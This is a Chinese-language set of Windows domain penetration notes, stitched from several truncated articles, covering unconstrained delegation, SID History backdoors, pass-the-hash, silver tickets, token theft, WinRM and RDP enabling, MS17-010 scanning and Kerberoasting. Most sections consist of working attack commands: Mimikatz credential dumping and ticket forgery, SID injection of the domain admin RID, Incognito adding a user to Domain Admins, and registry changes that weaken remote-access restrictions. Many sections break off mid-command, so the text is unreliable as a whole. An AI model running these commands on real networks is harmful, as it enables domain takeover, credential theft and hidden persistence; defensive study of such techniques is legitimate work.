非约束性委派
攻击简介
该方法主要利用域控上的 printerbug 强制访问我们伪造的非约束性委派计算机从而获取TGT进行提权。适用于域内提权,前提条件时需要获取域内非约束性委派账号。
查找非约束委派账户
1.通过LDAP导出内容查找
该账号可能是计算机账户或者域用户账户,但是必须是服务账号,因此域用户需要通过setspn -U -A test/test domain-user
注册服务。具体可以通过LDAP筛选 userAccountControl 属性包含 ADS_UF_TRUSTED_FOR_DELEGATION 标志,具体可以查看:
SCRIPT = 1, // 0x1
ACCOUNTDISABLE = 2, // 0x2
HOMEDIR_REQUIRED = 8, // 0x8
LOCKOUT = 16, // 0x10
PASSWD_NOTREQD = 32, // 0x20
PASSWD_CANT_CHANGE = 64, // 0x40
ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80
TEMP_DUPLICATE_ACCOUNT = 256, // 0x100
NORMAL_ACCOUNT = 512, // 0x200
INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800
WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000
SERVER_
一、SID History属性介绍
每个用户帐号都有一个关联的安全标识符(简称SID),SID用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持AD牵移,微软设计了SID History属性,SID History允许另一个帐户的访问被有效的克隆到另一个帐户。
二、利用前提条件
1. 当前域与其他域有信任关系,例如当前域与domain1.com和domian2.com存在双向信任
2. 开启SID History,与其中任意一个林开启SID History信任,即可使用下面的方法
netdom trust /d:domain1.com current.com /enablesidhistory:yes
三、同一域内的持久化利用
SID History可以在同一个域中工作,即DomainA 中的常规用户帐户可以包含 DomainA SID,假如这个DomainA SID是一个特权帐户或组,那就可以在不作为域管 理员成员的情况下授予常规用户域管理员权限,相当于一个后门。
* 普通的域用户user,已经获得其账号明文或者hash,并且该账号密码永不过期
* 将域管理员的SID赋值给普通域用户user,Mimikatz执行如下:
privilege::debug sid::query /sam:user # 查看用户信息,如:SID sid::patch sid::add /sam:user /new:S-1-5-21-2056922362-3943291772-3165935835-500 # RID 500 默认域管理员账号 sid::clear /sam:user # 清除SID History
PS:如果在执行 sid::patch 或者 sid::add 的过程中出现如下错误,则需要开启SID History(参考二)
* 利用user账号(明文&hash)进行测试:
四、同一域树下的提权利用方式(Golden Ticket+SID History)
对于同一个域树中的父子域来说,如果获得子域中的高权限用户,就可以修改将该用户的SID赋予企业管理员权限,这样对于父域来说该用户也是高权限
在最近的pth使用中发现常常会出现如下的错误:
当时怀疑与使用的用户权限或者与目标的系统补丁有关,特地查了下资料,总结如下。
一、Pth是不是漏洞?
微软官方不承认这是一个漏洞,只是NTLM验证过程中的缺陷,这就意味着在所有的系统上均可以利用。在本地试验了下,打全补丁仍然可以Pth成功。谈到Pth经常会说到一个补丁编号:KB2871997,该补丁主要是禁用Wdigest Auth强制系统的内存保存明文口令。由HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredential 值决定,当UseLogonCredential 为1时,WDigest会保存凭据到内存中,为0时,不会保存(当不存在该键时,默认为0)。并且在Windows 8.1和 Server 2012 R2 + 默认集成。
所以出现该问题(rpc_s_access_denied)的原因只可能是用户权限的问题。
二、Pth 利用限制
1. 在利用非 Administrator 用户的本地管理员凭证Pth,返回 Access is Denied 之类的错误,跟遇到的错误一样
PS:本地管理员用户 smb_login 没有判断出来Administrator ???
2. 但是域管账号可以正常使用,不受影响
对于上述的现象,该文章[1] 中有很好的总结:对于任何非RID 500的本地管理员(Administrator)连接到WIndows Vista+的计算机,无论是采用WMI、PSexec还是其他方法,使用的令牌都是"已经过滤过的"(即中等令牌)。当使用上述命令进行链接的时候会显示Access is Denied。
三、Pth 限制突破
1. 修改目标注册表
如果已经拿下的目标系统权限,抓取hash,可以修改目标标注册表配置,使其本地管理员组的成员都能远程连接(WMI、PSexec),作为持久化的一种手段。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFi
一、利用基础
在知道目标机器的NTLM hash和域SID的基础上,可以伪造任意用户访问目标机器上的服务。其过程不会与KDC通信,因此不会再KDC上留下任何痕迹,只会在目标机器和本机留下日志。可以利用的服务如下:
服务注释 | 服务名称 |
WMI | HOST&RPCSS |
Powershell Remoteing | HOST&HTTP |
WinRM | HOST&HTTP |
Scheduled Tasks | HOST |
LDAP、DCSync | LDAP |
Windows File Share(CIFS) | CIFS |
Windows Remote Server Administration Tools | RPCSS&LDAP&CIFS |
二、白银票据伪造
1. 需要事先导出目标机器的服务Hash,利用的工具很多,这里用mimikatz演示
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit"
2. 利用mimikatz进行白银票据伪造并直接注入到内存
mimikatz "kerberos::golden /user:any-user /domain:domain.com /sid:S-1-5-21-2056922362-3943291772-3165935835 /target:dc-01.domain.com /rc4:cd76662d4420b930cce605b6edab46a1 /service:cifs /ptt" "exit"
参数说明:
/domain:域的完整名称,如:lab.adsecurity.org /sid:域SID,如:S-1-5-21-1473643419-774954089-2222329127 /user:域用户名,白银票据可以是任意用户,可以不存在 /service:指定服务类型,如:host、cifs、http、rpcss、ldap等 /groups(可选):用户所属的组RID,指定用户权限 /ticket(可选):指定一个路径保存票据 /ptt(可选):将申请的票据直接注入内存 /id(可选):用户RID,Mimikatz默认值是500(默认管理员帐户RID) /endin(可选):票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置
一、访问令牌的定义
描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:
* 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
* 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
二、令牌盗用
修改进程的SID为已注销但未清除的用户的SID(Security Identifiers,安全标识符,唯一的字符串,它可以代表一个账户、一个用户 组、或者是一次登录),使进程拥有与用户相同的权限。因此可以通过盗用模拟令牌的方式来进行提权、降权和横向渗透等
三、工具利用
1. Incognito.exe
incognito.exe list_tokens -u # 查看本地可用的token incognito.exe -h IP|IP_list.txt -u administrator -p Password1 -g list_tokens -u # 通过IPC远程列举tokens incognito.exe execute -c "NT AUTHORITY\SYSTEM" xx.exe # 以指定token执行命令 incognito.exe -f hosts.txt -u administrator -p Password -n 20 add_group_user -h dc1.corp.target.net "Domain Admins" test # 指定远程登录的账号试图登录并列举所hosts.txt里主机所有的token,将test用户加入到域管理员组 incognito.exe execute "domain\administrator" "cmd" # 指定域用户执行命令 incognito.exe -h x.x.x.x -u ad
一、Windows 远程管理服务
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。
二、利用的基础条件
1. 通信的双方都需要开启WinRM服务
Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;WinRS 适用于Windows 2008 以上版本;Windows 2012 之后的版本默认允许远程任意主机来管理。开启可以使用下面其中一条命令即可
winrm quickconfig -q Enable-PSRemoting -Force
2. 服务端防火墙允许WinRM服务端口通信
默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
3. WinRM通信两端配置要求
(1)查看WinRM具体配置:
winrm get winrm/config
(2)允许所有客户端IP连接:
winrm set winrm/config/Client @{TrustedHosts="*"} winrm e winrm/config/listener # 查看监听地址和端口
三、远程管理
1. WinRS 进行远程管理
winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令 winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd
2. 利用Powershell远程管理
Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Cu
一、RDP 服务确定和启动
1. 确定RDP服务是否启动和服务端口
(1)注册表查询
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber # 查看RDP服务的端口
(2)进程查看
tasklist /svc | find "TermService" # 找到对应服务进程的PID netstat -ano | find "3220" # 找到进程对应的端口号
2. 启动RDP服务
(1)cmd 本地注册表启动
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口
也可以通过reg配置文件的方式启动:regedit /s startrdp.reg
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] "PortNumber
一、MS17-010 漏洞扫描
1. MSF中的 auxiliary/scanner/smb/smb_ms17_010 模块
该模块可以直接通过socks代理直接扫描内网,速度比较慢。
2. MS17-010-Nessus.exe
该工具可以直接落地到目标机器上,经过测试在Win 10上可以正常运行,在Win 7和 Windows Server 2012 会爆缺少msvcr100.dll,必须使用x86的msvcr100.dll,否则会提示另一个错误{This Application Was Unable to Start Correctly (Error Code: 0xc000007b) },可以将msvcr100.dll 与MS17-010-Nessus.exe 一起上传到目标上执行,使用方法:
MS17-010-Nessus.exe -q -m -b 192.168.0.1 -e 192.168.255.254 -o scan.out # 指定IP范围扫描 MS17-010-Nessus.exe -q -m -l hostlist -o scan.out # 指定目标主机列表,一个IP一行 MS17-010-Nessus.exe -q -m -b 192.168.0.1 -e 192.168.255.254 -o scan.out -p 139 # 指定TCP 139 端口利用 MS17-010-Nessus.exe -q -m -l hostlist -o scan.out -p 139
参数说明:
-q:只显示vulnerable主机,否则将显示safe、unknown等其他主机 -o ret.txt:将输出结果保存到文件,否则向stdout输出 -m:实时显示当前扫描目标
输出结果样例:
xx.xx.xxx.xx safe [Unix|Samba 3.6.25|WORKGROUP][@WORKGROUP] xx.xx.x.xx vulnerable [Windows 7 Ultimate 7600|Windows 7 Ultimate 6.1|WORKGROUP][APPLE-PC@WORKGROUP] xxx.xxx.xx.xxx vulnerable [Windows 7 Ulti
一、概述
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
二、Kerberoasting攻击流程
1. 发现服务主体名称(SPN)
2. 请求服务票据
3. 导出服务票据
4. 破解服务票据
5. 重写服务票据&RAM注入
三、请求服务票据
1. Powershell
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
批量请求所有的SPN:
Add-Type -AssemblyName System.IdentityModel setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
2. Mimikatz
mimikatz.exe "kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
3. GetUserSPNs
python GetUserSPNs.py -request pentestl